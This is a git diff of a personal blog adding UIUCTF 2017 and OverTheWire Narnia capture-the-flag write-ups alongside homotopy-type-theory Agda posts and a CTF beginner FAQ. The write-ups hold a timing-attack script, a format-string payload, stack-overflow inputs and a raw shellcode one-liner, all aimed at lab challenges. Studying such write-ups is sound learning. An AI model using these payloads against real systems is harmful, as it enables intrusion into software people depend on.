+          <h3 name="f21d" id="f21d" class="graf graf--h3 graf-after--p">High School Crypto (100 points, crypto)</h3>
+          <p name="5d6b" id="5d6b" class="graf graf--p graf-after--h3">In this challenge, we are basically given some
+            encrypted information, as well as the following encryption program.</p>
+          <pre name="d6b3" id="d6b3"
+            class="graf graf--pre graf-after--p">import sys, itertools<br>if(len(sys.argv) != 3):<br>    print(&quot;Usage: [FILE] [KEY]&quot;)<br>    exit(-1)<br><br>filename = sys.argv[1]<br>key = sys.argv[2]<br><br>with open(filename, &#39;rb&#39;) as plaintext:<br>    raw = plaintext.read()<br>    print(len(raw))<br>    with open(filename + &#39;.out&#39;, &#39;wb&#39;) as ciphertext:<br>        for l, r in zip(raw, itertools.cycle(key)):<br>            ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder=&#39;big&#39;) )</pre>
+          <p name="2402" id="2402" class="graf graf--p graf-after--pre">Upon not-so-close inspection, it seems like
+            it’s just a repeated-xor cipher. Using code that I had written for Cryptopals Set 1, I decoded it quickly,
+            obtaining a long plaintext, containing the flag.</p>
+          <h3 name="1b1a" id="1b1a" class="graf graf--h3 graf-after--p">Thematic (100 points, recon)</h3>
+          <p name="318b" id="318b" class="graf graf--p graf-after--h3"><a
+              href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
+              data-href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
+              class="markup--anchor markup--p-anchor" rel="nofollow noopener"
+              target="_blank">https://twitter.com/SwiftOnSecurity/status/858092845886046209</a></p>
+          <h3 name="f8de" id="f8de" class="graf graf--h3 graf-after--p">Taylor’s Magical Flag Oracle (150 points,
+            reversing)</h3>
+          <p name="6c04" id="6c04" class="graf graf--p graf-after--h3">We’re given a flag-checking service that seems
+            to be vulnerable to timing attack. In essence, here’s what happens: the service checks our flag character
+            by character; if that character is the same, move on to the next, otherwise, just return false, since we
+            know that the string can’t be equal anyway. But in this case, the program delays by 0.25 — a significant
+            amount! — before moving on, to prevent brute force? apparently. But there’s one huge flaw.</p>
+          <p name="939a" id="939a" class="graf graf--p graf-after--p">If you brute force all of the possibilities for
+            the <em class="markup--em markup--p-em">next character</em>, there’s going to be a significant time gap
+            between returns if you submit the right character vs. if you submit the wrong one. Here’s what it means:
+            say I know the flag starts with <code class="markup--code markup--p-code">flag{</code> , which I do. Upon
+            submitting <code class="markup--code markup--p-code">flag{</code>, I know it’s going to be delaying for at
+            least 5 * 0.25, which is 1.25 seconds. I don’t know the 6th character yet, but there’s only 2 things that
+            can happen:</p>
+          <ul class="postList">
+            <li name="69d8" id="69d8" class="graf graf--li graf-after--p">I get it wrong; the program returns
+              immediately because it doesn’t hit the sleep, and my result is return in ~1.25 seconds, with a bit of
+              latency, but not enough to make it &gt;1.5 seconds.</li>
+            <li name="95b5" id="95b5" class="graf graf--li graf-after--li">I get it right; the program sleeps for 0.25
+              before moving on because the pass has checked.</li>
+          </ul>
+          <p name="2016" id="2016" class="graf graf--p graf-after--li">Hopefully the problem becomes obvious now. If I
+            check how long it takes me to get my result, I’ll be able to “guess” the password character by character.
+            Knowing this, here is the script I used to get the flag:</p>
+          <pre name="f905" id="f905"
+            class="graf graf--pre graf-after--p">import socket<br>from functools import wraps<br>from time import time<br>from string import printable</pre>
+          <pre name="4d70" id="4d70"
+            class="graf graf--pre graf-after--pre">addr = (&quot;challenge.uiuc.tf&quot;, 11340)<br>s = socket.socket()<br>s.connect(addr)</pre>
+          <pre name="05be" id="05be"
+            class="graf graf--pre graf-after--pre">def stopwatch(f):<br>    <a href="http://twitter.com/wraps" data-href="http://twitter.com/wraps" class="markup--anchor markup--pre-anchor" title="Twitter profile for @wraps" rel="noopener" target="_blank">@wraps</a>(f)<br>    def wrapper(*args, **kwargs):<br>        start = time()<br>        result = f(*args, **kwargs)<br>        end = time()<br>        return end - start<br>    return wrapper</pre>
+          <pre name="017f" id="017f"
+            class="graf graf--pre graf-after--pre"><a href="http://twitter.com/stopwatch" data-href="http://twitter.com/stopwatch" class="markup--anchor markup--pre-anchor" title="Twitter profile for @stopwatch" rel="noopener" target="_blank">@stopwatch</a><br>def test_flag(flag):<br>    global s<br>    s.send(flag + &quot;\n&quot;)<br>    s.recv(20) # &gt;</pre>
+          <pre name="4624" id="4624"
+            class="graf graf--pre graf-after--pre">s.recv(20) # &gt;<br>known_flag = &quot;flag{&quot;<br>while True:<br>    for c in printable:<br>        benchmark = 0.25 * (len(known_flag) + 1)<br>        actual = test_flag(known_flag + c)<br>        print c, benchmark, actual<br>        if actual &gt; benchmark:<br>            known_flag += c<br>            print known_flag<br>            break</pre>
+          <h3 name="0dea" id="0dea" class="graf graf--h3 graf-after--pre">babyrsa (200 points, crypto)</h3>
+          <pre name="c0da" id="c0da"
+            class="graf graf--pre graf-after--h3">n = 826280450476795403105390383916395625701073920777162153138597185953056944510888027904354828464602421249363674719063026424044747076553321187265165775178889032794638105579799203345357910166892700405175658568627675449699540840288382597105404255643311670752496397923267416409538484199324051251779098290351314013642933189000153869540797043267546151497242578717464980825955180662199508957183411268811625401646070827084944007483568527240194185553478349118552388947992831458170444492412952312967110446929914832061366940165718329077289379496793520793044453012845571593091239615903167358140251268988719634075550032402744471298472559374963794796831888972573597223883502207025864412727194467531305956804869282127211781893423868568924921460804452906287133831167209340798856323714333552031073990953099946860260440120550744737264831895097569281340675979651355169393606387485601024283179141075124116079680183641040638005340147490312370291020282845417263785200481799143148652902589069064306494803532124234850362800892646823909347208346956741220877224626765444423081432186871792825772139369254830825377015531518313838382717867736340509229694011716101360463757629023320658921011843627332643744464724204771008866440681008984222122706436344770910544932757<br>e = 5<br>c = 199037898049081148054548566008626493558290050160287889209057083223407180156125399899465196611255722303390874101982934954388936179424024104549780651688160499201410108321518752502957346260593418668796624999582838387982430520095732090601546001755571395014548912727418182188910950322763678024849076083148030838828924108260083080562081253547377722180347372948445614953503124471116393560745613311509380885545728947236076476736881439654048388176520444109172092029548244462475513941506675855751026925250160078913809995564374674278235553349778352067191820570404315381746499936539482369231372882062307188454140330786512148310245052484671692280269741146507675933518321695623680547732771867757371698350343979932499637752314262246864787150534170586075473209768119198889190503283212208200005176410488476529948013610803040328568552414972234514746292014601094331465138374210925373263573292609023829742634966280579621843784216908520325876171463017051928049668240295956697023793952538148945070686999838223927548227156965116574566365108818752174755077045394837234760506722554542515056441166987424547451245495248956829984641868331576895415337336145024631773347254905002735757</pre>
+          <p name="2839" id="2839" class="graf graf--p graf-after--pre">Standard RSA challenge, we’re given N, e, and
+            c and we’re asked to find the original message… It’s supposed to be a “baby” RSA challenge, so one thing
+            that came to mind was that m^e is actually <em class="markup--em markup--p-em">less</em> than N. I put the
+            ciphertext c into factordb.com, and it turned out that it was a perfect fifth power! (recall that e=5).
+            The problem became trivial at this point; to get the flag, simply convert the fifth root of c back into
+            ASCII.</p>
+          <h3 name="d90e" id="d90e" class="graf graf--h3 graf-after--p">goodluck (200 points, pwn)</h3>
+          <p name="6b0f" id="6b0f" class="graf graf--p graf-after--h3">This challenge was pretty straightforward; once
+            I opened it in IDA, I noticed that it was <code class="markup--code markup--p-code">printf</code>’ing some
+            user-supplied input. I tried a bunch of values with the binary locally until I got the exploit string
+            <code class="markup--code markup--p-code">%9$s</code>, which prints the 9th string on the stack (which is
+            where <code class="markup--code markup--p-code">flag.txt</code> was read to).
+          </p>
+          <pre name="c548" id="c548"
+            class="graf graf--pre graf-after--p">michael@zhang:~$ echo “%9\$s” | nc challenge.uiuc.tf 11342 <br>what’s the flag <br>You answered: <br>flag{always_give_110%} <br>But that was totally wrong lol get rekt</pre>
+          <h3 name="62c9" id="62c9" class="graf graf--h3 graf-after--pre">LSLol — Log in, stay here (200 points,
+            reversing)</h3>
+          <p name="f237" id="f237" class="graf graf--p graf-after--h3">To be honest, I don’t even know how I solved
+            this one. I think I created an account and just tried a bunch of random stuff until I was at the location
+            indicated in the <code class="markup--code markup--p-code">X-SecondLife-Local-Position</code> header in
+            the URL I was given.</p>
+          <h3 name="5f73" id="5f73" class="graf graf--h3 graf-after--p">snekquiz (200 points, pwn)</h3>
+          <p name="4ea6" id="4ea6" class="graf graf--p graf-after--h3">In this challenge, we aren’t given a binary,
+            just a server to connect to. So we kind of have to imagine how it’s programmed. The server asks us 3
+            questions, then reveals us the answers so we can get all 3 right the next time. But we need a score of 5
+            to get the flag!</p>
+          <p name="05bc" id="05bc" class="graf graf--p graf-after--p">I imagine that the score variable must be in the
+            local scope of whatever function is doing the input loop. If that’s the case, we can definitely overwrite
+            it, since buffer length is not being checked. Apparently stack protector has been enabled so we won’t be
+            able to write out of the stack frame, but that doesn’t really matter since we aren’t even given a binary
+            to work with.</p>
+          <p name="e0ba" id="e0ba" class="graf graf--p graf-after--p">After trying a bunch of values, I got that 88
+            was the maximum number of <code class="markup--code markup--p-code">A</code>s I was allowed to send to the
+            server before I started writing over the canary. I got a message that looked like this:</p>
+          <pre name="d225" id="d225"
+            class="graf graf--pre graf-after--p">Score greater than 5 detected! You must be cheating with a score like 1094795585</pre>
+          <p name="0858" id="0858" class="graf graf--p graf-after--pre graf--trailing">(for reference, that number is
+            0x41414141). That means score is being scored in an int. This time, I sent <code
+              class="markup--code markup--p-code">\x05\x00\x00\x00</code> 22 times, hoping that it would overwrite the
+            score variable with the exact value of 5, and it did!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/a53aabe1bc56"><time class="dt-published" datetime="2017-05-01T00:09:47.978Z">May 1,
+          2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/uiuctf-2017-writeups-a53aabe1bc56" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-05-24_OverTheWire--Narnia.md

@@ -0,0 +1,41 @@
+---
+title: "OverTheWire: Narnia"
+date: 2017-05-24T03:10:36.500Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="6f76" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <h3 name="1811" id="1811" class="graf graf--h3 graf-after--h3">Level 0: Simple Buffer Overflow</h3>
+          <p name="0218" id="0218" class="graf graf--p graf-after--h3">We’re given a buffer of 20 characters and an
+            int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:</p>
+          <pre name="47f8" id="47f8"
+            class="graf graf--pre graf-after--p">(python -c ‘print “\xef\xbe\xad\xde” * 6’; cat) | ./narnia0</pre>
+          <p name="b867" id="b867" class="graf graf--p graf-after--pre">The password for level 1 is <code
+              class="markup--code markup--p-code">efeidiedae</code>.</p>
+          <h3 name="59e6" id="59e6" class="graf graf--h3 graf-after--p">Level 1: Executing Shellcode</h3>
+          <p name="d660" id="d660" class="graf graf--p graf-after--h3">The program we’re given will execute anything
+            at the environment variable <code class="markup--code markup--p-code">EGG</code> as a function pointer; I
+            found some shellcode from google and it worked. The exploit code:</p>
+          <pre name="a253" id="a253"
+            class="graf graf--pre graf-after--p">EGG=$(printf “\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\x<br>ff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”) bash -c ‘./narnia1’</pre>
+          <p name="5af8" id="5af8" class="graf graf--p graf-after--pre">The password for level 2 is <code
+              class="markup--code markup--p-code">nairiepecu</code>.</p>
+          <p name="3a3b" id="3a3b" class="graf graf--p graf-after--p">Level 2</p>
+          <p name="ce56" id="ce56" class="graf graf--p graf-after--p graf--trailing">soon lol</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/a282ef43b705"><time class="dt-published" datetime="2017-05-24T03:10:36.500Z">May
+          24, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/overthewire-narnia-a282ef43b705" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2019-02-01-magic-forms-with-proc-macros.md

@@ -85,6 +85,6 @@ then calling something like `instance.verify()` should run all those validators
 
 ## Conclusion
 
-This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms).
+This project is a work in progress! You can see how far I am [on Github](https://github.com/mzhang28/wtforms).
 
 [1]: https://docs.rs/serde

src/content/posts/2024-06-28-boolean-equivalences.lagda.md

@@ -1,5 +1,5 @@
 ---
-title: "Boolean equivalences in HoTT"
+title: Boolean equivalences
 slug: 2024-06-28-boolean-equivalences
 date: 2024-06-28T21:37:04.299Z
 tags: ["agda", "type-theory", "hott"]
@@ -32,7 +32,7 @@ open Σ
 
 With just that notation, the problem may not be clear.
 $2$ represents the set with only two elements in it, which is the booleans. The
-elements of $2$ are $\textrm{true}$ and $\textrm{false}$.
+elements of $2$ are $\mathsf{true}$ and $\mathsf{false}$.
 
 ```
 data 𝟚 : Set where
@@ -53,8 +53,8 @@ shown by Theorem 4.1.3 in the [HoTT book][book].
 [1]: https://en.wikipedia.org/wiki/Homotopy#Homotopy_equivalence
 
 - there exists a $g : B \rightarrow A$
-- $f \circ g$ is homotopic to the identity map $\textrm{id}_B : B \rightarrow B$
-- $g \circ f$ is homotopic to the identity map $\textrm{id}_A : A \rightarrow A$
+- $f \circ g$ is homotopic to the identity map $\mathsf{id}_B : B \rightarrow B$
+- $g \circ f$ is homotopic to the identity map $\mathsf{id}_A : A \rightarrow A$
 
 We can write this in Agda like this:
 
@@ -92,7 +92,7 @@ function along with proof of its equivalence properties using a dependent
 pair[^dependent-pair]:
 
 [^dependent-pair]: A dependent pair (or $\Sigma$-type) is like a regular pair $\langle x, y\rangle$, but where $y$ can depend on $x$.
-  For example, $\langle x , \textrm{isPrime}(x) \rangle$.
+  For example, $\langle x , \mathsf{isPrime}(x) \rangle$.
   In this case it's useful since we can carry the equivalence information along with the function itself.
   This type is rather core to Martin-Löf Type Theory, you can read more about it [here][dependent-pair].
 
@@ -184,8 +184,8 @@ Now we need another function in the other direction. We can't case-split on
 functions, but we can certainly case-split on their output. Specifically, we can
 differentiate `id` from `neg` by their behavior when being called on `true`:
 
-- $\textrm{id}(\textrm{true}) :\equiv \textrm{true}$
-- $\textrm{neg}(\textrm{true}) :\equiv \textrm{false}$
+- $\mathsf{id}(\mathsf{true}) :\equiv \mathsf{true}$
+- $\mathsf{neg}(\mathsf{true}) :\equiv \mathsf{false}$
 
 ```
 g : (𝟚 ≃ 𝟚) → 𝟚
@@ -207,7 +207,7 @@ everything to true, since it can't possibly have an inverse.
 
 We'll come back to this later.
 
-First, let's show that $g \circ f \sim \textrm{id}$. This one is easy, we can
+First, let's show that $g \circ f \sim \mathsf{id}$. This one is easy, we can
 just case-split. Each of the cases reduces to something that is definitionally
 equal, so we can use `refl`.
 
@@ -217,7 +217,7 @@ g∘f true = refl
 g∘f false = refl
 ```
 
-Now comes the complicated case: proving $f \circ g \sim \textrm{id}$.
+Now comes the complicated case: proving $f \circ g \sim \mathsf{id}$.
 
 > [!admonition: NOTE]
 > Since Agda's comment syntax is `--`, the horizontal lines in the code below
@@ -235,9 +235,9 @@ module f∘g-case where
   f∘g eqv = goal eqv
 ```
 
-Now our goal is to show that for any equivalence $\textrm{eqv} : 2 \simeq 2$,
+Now our goal is to show that for any equivalence $\mathsf{eqv} : 2 \simeq 2$,
 applying $f ∘ g$ to it is the same as not doing anything. We can evaluate the
-$g(\textrm{eqv})$ a little bit to give us a more detailed goal:
+$g(\mathsf{eqv})$ a little bit to give us a more detailed goal:
 
 ```
   goal2 :
@@ -273,27 +273,27 @@ a syntax known as [with-abstraction]:
 
 We can now case-split on $b$, which is the output of calling $f$ on the
 equivalence returned by $g$. This means that for the `true` case, we need to
-show that $f(b) = \textrm{bool-eqv}$ (which is based on `id`) is equivalent to
+show that $f(b) = \mathsf{booleqv}$ (which is based on `id`) is equivalent to
 the equivalence that generated the `true`.
 
 Let's start with the `id` case; we just need to show that for every equivalence
 $e$ where running the equivalence function on `true` also returned `true`, $e
-\equiv f(\textrm{true})$.
+\equiv f(\mathsf{true})$.
 
 Unfortunately, we don't know if this is true unless our equivalences are _mere
 propositions_, meaning if two functions are identical, then so are their
 equivalences.
 
 $$
-  \textrm{isProp}(P) :\equiv \prod_{x, y: P}(x \equiv y)
+  \mathsf{isProp}(P) :\equiv \prod_{x, y \, : \, P}(x \equiv y)
 $$
 
 <small>Definition 3.3.1 from the [HoTT book][book]</small>
 
-Applying this to $\textrm{isEquiv}(f)$, we get the property:
+Applying this to $\mathsf{isEquiv}(f)$, we get the property:
 
 $$
-  \sum_{f : A → B} \left( \prod_{e_1, e_2 : \textrm{isEquiv}(f)} e_1 \equiv e_2 \right)
+  \sum_{f : A → B} \left( \prod_{e_1, e_2 \, : \, \mathsf{isEquiv}(f)} e_1 \equiv e_2 \right)
 $$
 
 This proof is shown later in the book, so I will use it here directly without proof[^equiv-isProp]:
@@ -314,7 +314,7 @@ equivalences must not map both values to a single one.
 This way, we can pin the behavior of the function on all inputs by just using
 its behavior on `true`, since its output on `false` must be _different_.
 
-We can use a proof that [$\textrm{true} \not\equiv \textrm{false}$][true-not-false] that I've shown previously.
+We can use a proof that [$\mathsf{true} \not\equiv \mathsf{false}$][true-not-false] that I've shown previously.
 
 [true-not-false]: https://mzhang.io/posts/proving-true-from-false/
 

src/content/posts/2024-09-15-circle-is-a-suspension-over-booleans/index.lagda.md

@@ -0,0 +1,176 @@
+---
+title: The circle is a suspension over booleans
+slug: 2024-09-15-circle-is-a-suspension-over-booleans
+date: 2024-09-15T23:02:32.058Z
+tags: [algebraic-topology, hott]
+draft: true
+---
+
+<details>
+<summary>Imports</summary>
+
+```
+{-# OPTIONS --cubical --allow-unsolved-metas #-}
+module 2024-09-15-circle-is-a-suspension-over-booleans.index where
+open import Cubical.Core.Primitives
+open import Cubical.Foundations.Prelude
+open import Cubical.Foundations.GroupoidLaws
+open import Cubical.Foundations.Isomorphism
+open import Cubical.HITs.S1.Base
+open import Data.Bool.Base hiding (_∧_; _∨_)
+open import Data.Nat.Base
+```
+
+</details>
+
+One of the simpler yet still very interesting space in algebraic topology is the **circle**.
+Analytically, a circle can described as the set of all points that satisfy:
+
+$$
+x^2 + y^2 = 1
+$$
+
+Well, there are a lot more circles, like $x^2 + y^2 = 2$, and so on, but in topology land we don't really care.
+All of them are equivalent up to continuous deformation.
+
+What is interesting, though, is the fact that it can _not_ be deformed down to a single point at the origin.
+It has the giant hole in the middle.
+
+The circle, usually denoted $S^1$, is a special case of $n$-spheres.
+For some dimension $n \in \mathbb{N}$, the $n$-sphere can be defined analytically as:
+
+$$
+\lVert \bm{x} \rVert_2 = \bm{1}
+$$
+
+where $\lVert \bm{x} \rVert_2$ is the [Euclidean norm][1] of a point $\bm{x}$.
+
+[1]: https://en.wikipedia.org/wiki/Norm_(mathematics)
+
+However, in the synthetic world, circles look a lot different.
+We ditch the coordinate system and boil the circle down to its core components in terms of points and paths.
+The 1-sphere $S^1$ is defined with:
+
+$$
+\begin{align*}
+  \mathsf{base} &: S^1 \\
+  \mathsf{loop} &: \mathsf{base} \equiv \mathsf{base}
+\end{align*}
+$$
+
+What about the 2-sphere, aka what we normally think of as a sphere?
+We can technically define it as a 2-path over the base point:
+
+$$
+\begin{align*}
+  \mathsf{base} &: S^2 \\
+  \mathsf{surf} &: \mathsf{refl}_\mathsf{base} \equiv_{\mathsf{base} \equiv \mathsf{base}} \mathsf{refl}_\mathsf{base}
+\end{align*}
+$$
+
+It would be nice to have an iterative definition of spheres; one that doesn't rely on us using our intuition to form new ones.
+Ideally, it would be a function $S^n : \mathbb{N} \rightarrow \mathcal{U}$, where we could plug in an $n$ of our choosing.
+
+For an iterative definition, we'd like some kind of base case.
+What's the base case of spheres?
+What is a $0$-sphere?
+
+If we take our original analytic definition of spheres and plug in $0$, we find out that this is just $| x | = 1$, which has two solutions: $-1$ and $1$.
+The space of solutions is just a space with two elements!
+In other words, the type of booleans is actually the $0$-sphere, $S^0$.
+
+![](./1.png)
+
+How about the iterative case? How can we take an $n$-sphere and get an $(n+1)$-sphere?
+This is where we need something called a _suspension_.
+
+Suspensions are a form of higher inductive type (HIT). It can be defined like this:
+
+```
+data Susp (A : Type) : Type where
+  north : Susp A
+  south : Susp A
+  merid : A → north ≡ south
+```
+
+Intuitively, you take the entirety of the type $A$, and imagine it as some kind of plane.
+Then, add two points, $\mathsf{north}$ and $\mathsf{south}$, to the top and bottom respectively.
+Now, each original point in $A$ defines a _path_ between $\mathsf{north}$ and $\mathsf{south}$.
+
+![](./susp.png)
+
+It may not be too obvious, but the circle $S^1$, can be represented as a suspension of the booleans $S^0$.
+This is presented as Theorem 6.5.1 in the [HoTT book]. I'll go over it briefly here.
+
+[hott book]: https://homotopytypetheory.org/book/
+
+The main idea is to consider the paths generated by both the $\mathsf{true}$ and the $\mathsf{false}$ points to add up to a single $\mathsf{loop}$.
+Here's a visual guide:
+
+![](./boolsusp.png)
+
+We can write functions going back and forth:
+
+```
+Σ2→S¹ : Susp Bool → S¹
+Σ2→S¹ north = base -- map the north point to the base point
+Σ2→S¹ south = base -- also map the south point to the base point
+Σ2→S¹ (merid false i) = loop i -- for the path going through false, let's map this to the loop
+Σ2→S¹ (merid true i) = base -- for the path going through true, let's map this to refl
+
+S¹→Σ2 : S¹ → Susp Bool
+S¹→Σ2 base = north
+S¹→Σ2 (loop i) = (merid false ∙ sym (merid true)) i
+```
+
+Now, to finish showing the equivalence, we need to prove that these functions concatenate into the identity in both directions:
+
+```
+rightInv : section Σ2→S¹ S¹→Σ2
+rightInv base = refl
+rightInv (loop i) =
+  -- Trying to prove that Σ2→S¹ (S¹→Σ2 loop) ≡ loop
+  -- Σ2→S¹ (merid false ∙ sym (merid true)) ≡ loop
+
+  -- Σ2→S¹ (merid false) = loop
+  -- Σ2→S¹ (sym (merid true)) = refl_base
+  cong (λ p → p i) (
+    cong Σ2→S¹ (merid false ∙ sym (merid true)) ≡⟨ congFunct {x = merid false {!   !}} Σ2→S¹ refl refl ⟩
+    loop ∙ refl ≡⟨ sym (rUnit loop) ⟩
+    loop ∎
+  )
+
+
+leftInv : retract Σ2→S¹ S¹→Σ2
+leftInv north = refl
+leftInv south = merid true
+leftInv (merid true i) j =
+  -- i0 = north, i1 = merid true j (j = i0 => north, j = i1 => south)
+  merid true (i ∧ j)
+leftInv (merid false i) j =
+  -- j = i0 ⊢ (merid false ∙ (λ i₁ → merid true (~ i₁))) i
+  -- j = i1 ⊢ merid false i
+  -- i = i0 ⊢ north
+  -- i = i1 ⊢ merid true j
+
+  -- (i, j) = (i0, i0) = north
+  -- (i, j) = (i0, i1) = north
+  -- (i, j) = (i1, i0) = merid true i0 = north
+  -- (i, j) = (i1, i1) = merid true i1 = south
+  let f = λ k → λ where
+    (i = i0) → north
+    (i = i1) → merid true (j ∨ ~ k)
+    -- j = i0 ⊢ (merid false ∙ (λ i₁ → merid true (~ i₁))) i
+    (j = i0) → compPath-filler (merid false) (sym (merid true)) k i
+    (j = i1) → merid false i
+  in hcomp f (merid false i)
+```
+
+And this gives us our equivalence!
+
+```
+-- Σ2≃S¹ : Susp Bool ≃ S¹
+-- Σ2≃S¹ = isoToEquiv (iso Σ2→S¹ S¹→Σ2 rightInv leftInv)
+```
+
+In fact, we can also show that the $2$-sphere is the suspension of the $1$-sphere.

src/content/posts/2024-09-18-ctf-faq.md

@@ -0,0 +1,101 @@
+---
+title: CTF FAQ
+date: 2024-09-18T00:49:55-05:00
+tags: [ctf]
+draft: true
+---
+
+There's a lot of foundational stuff that is sometimes not obvious to people who are just starting out in CTF.
+
+### What does nc \<ip\> mean?
+
+For example,
+
+```
+nc chal.examplectf.com 12345
+```
+
+This is a quick way of saying that a server is running at a specific IP on a specific port.
+`nc` stands for netcat, which is a tool that lets you talk to a server through your command line.
+
+> [!admonition: NOTE]
+> This also means that the flag is hidden on the server, and will **not** appear in any of the files that have been distributed to you.
+
+In reality, you'd probably only use `nc` to play around with it initially.
+You'd probably want to move to using a script soon, because you are usually given a copy of the program to play around with locally.
+
+With vanilla Python, you can open a [socket] and replicate the `nc` behavior with:
+
+[socket]: https://docs.python.org/3/library/socket.html
+
+```py
+import socket
+s = socket()
+s.connect(("chal.examplectf.com", 12345))
+```
+
+Alternatively, use [pwntools]:
+
+```py
+from pwn import *
+r = remote("chal.examplectf.com", 12345)
+```
+
+### Why do I get a binary and a C file?
+
+The binary is often provided because the specific addresses are meaningful to construct an attack.
+Sometimes a libc is also provided to help craft attacks that need specific libc addresses.
+
+Using something like [pwntools] makes it easy to do exploration and perform automated searches for addresses through a binary locally very quickly, and then swap out the target to the server once you've found a method to crack the binary.
+
+[pwntools]: https://pwntools.com
+
+### I get some text file with values like N, e, c. What does this mean?
+
+These are usually some values for working with a cryptosystem called [RSA].
+
+[RSA]: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
+
+* $N$ is the modulus. It's part of the public key. It's calculated with $N = p \times q$, but usually $p$ and $q$ are left as private
+* $e$ is the public exponent. It's also part of the public key
+* $c$ is the ciphertext.
+* $m$ (if included) is the message, but this is usually the thing you're looking for
+
+Lots of CTFs will do modified versions of RSA as a puzzle.
+
+> [!admonition: NOTE]
+> If the $N$ is just given to you directly instead of in a script, just go ahead and chuck the $N$ into [factordb] to see if it's already been factored!
+
+[factordb]: https://factordb.com/
+
+### I need to quickly convert some data
+
+[CyberChef] is my tool of choice when it comes to this stuff.
+
+[cyberchef]: https://gchq.github.io/CyberChef/
+
+### I have a file but I don't know what it is
+
+Plug the file through the [file] command!
+It'll tell you what kind of file it is, by looking at the first few numbers. For example:
+
+[file]: https://en.wikipedia.org/wiki/File_(command)
+
+```
+$ file binary
+binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped
+```
+
+This means it's an executable program.
+
+Another useful tool is [binwalk], which tells you if there's other files packed in there.
+This is sometimes useful for some forensics challenges.
+
+[binwalk]: https://github.com/ReFirmLabs/binwalk
+
+### I'm on Windows. What do?
+
+Install [WSL] or [dual boot].
+
+[WSL]: https://learn.microsoft.com/en-us/windows/wsl/about
+[dual boot]: https://wiki.archlinux.org/title/Dual_boot_with_Windows

src/content/posts/2024-09-18-hcomp/index.lagda.md

@@ -0,0 +1,333 @@
+---
+title: Visual examples of hcomp
+slug: 2024-09-18-hcomp
+date: 2024-09-18T04:07:13-05:00
+tags: [hott, cubical, agda, type-theory]
+---
+
+[**hcomp**][1] is a primitive operation in [cubical type theory][cubical] that completes the _lid_ of an incomplete cube, given the bottom face and some number of side faces.
+
+[1]: https://agda.readthedocs.io/en/latest/language/cubical.html#homogeneous-composition
+[cubical]: https://arxiv.org/abs/1611.02108
+
+> [!admonition: NOTE]
+> All the code samples in this document are written in _and_ checked for correctness by [Agda], a dependently typed programming language that implements cubical type theory.
+> Many of the names and symbols in the names are clickable links that take you to where that symbol is defined.
+> Below are all of the imports required for this page to work.
+
+[agda]: https://agda.readthedocs.io/en/latest/getting-started/what-is-agda.html
+
+<details>
+<summary>Imports for Agda</summary>
+
+```
+{-# OPTIONS --cubical #-}
+module 2024-09-18-hcomp.index where
+open import Cubical.Foundations.Prelude hiding (isProp→isSet)
+open import Cubical.Foundations.Equiv.Base
+open import Cubical.Foundations.Isomorphism
+open import Cubical.Core.Primitives
+open import Cubical.HITs.Susp.Base
+open import Cubical.HITs.S1.Base
+open import Data.Bool.Base hiding (_∧_; _∨_)
+```
+
+</details>
+
+## Two-dimensional case
+
+In two dimensions, $\mathsf{hcomp}$ can be understood as the double-composition operation.
+Given three paths $p : x \equiv y$, $q : y \equiv z$ and $r : x \equiv w$, it will return a path representing the composed path $((\sim r) \cdot p \cdot q) : (w ≡ z)$.
+
+"Single" composition (between two paths rather than three) is typically implemented as a double composition with the left leg as $\mathsf{refl}$.
+Without the double composition, this looks like:
+
+![](./2d.jpg)
+
+```
+path-comp : {A : Type} {x y z : A} → x ≡ y → y ≡ z → x ≡ z
+path-comp {x = x} p q i =
+  let u = λ j → λ where
+    (i = i0) → x
+    (i = i1) → q j
+  in hcomp u (p i)
+```
+
+The `(i = i0)` case in this case is $\mathsf{refl}_x(j)$ which is definitionally equal to $x$.
+
+## Example: $\mathsf{isProp}(A) \rightarrow \mathsf{isSet}(A)$
+
+Suppose we want to prove that all [mere proposition]s ([h-level] 1) are [sets] ([h-level] 2).
+This result exists in the [cubical library], but let's go over it here.
+
+[sets]: https://ncatlab.org/nlab/show/h-set
+[mere proposition]: https://ncatlab.org/nlab/show/mere+proposition
+[h-level]: https://ncatlab.org/nlab/show/homotopy+level
+[cubical library]: https://github.com/agda/cubical/
+
+```
+isProp→isSet : {A : Type} → isProp A → isSet A
+isProp→isSet {A} f = goal where
+  goal : (x y : A) → (p q : x ≡ y) → p ≡ q
+  goal x y p q j i = -- ...
+```
+
+We're given a type $A$, some proof that it's a [mere proposition], let's call it $f : \mathsf{isProp}(A)$.
+
+Now let's construct an hcomp. In a [set][sets], we'd want paths $p$ and $q$ between the same points $x$ and $y$ to be identified.
+Suppose $p$ and $q$ operate over the same dimension, $i$.
+If we want to find a path between $p$ and $q$, we'll want another dimension.
+Let's call this $j$.
+So essentially, the final goal is a square with these boundaries:
+
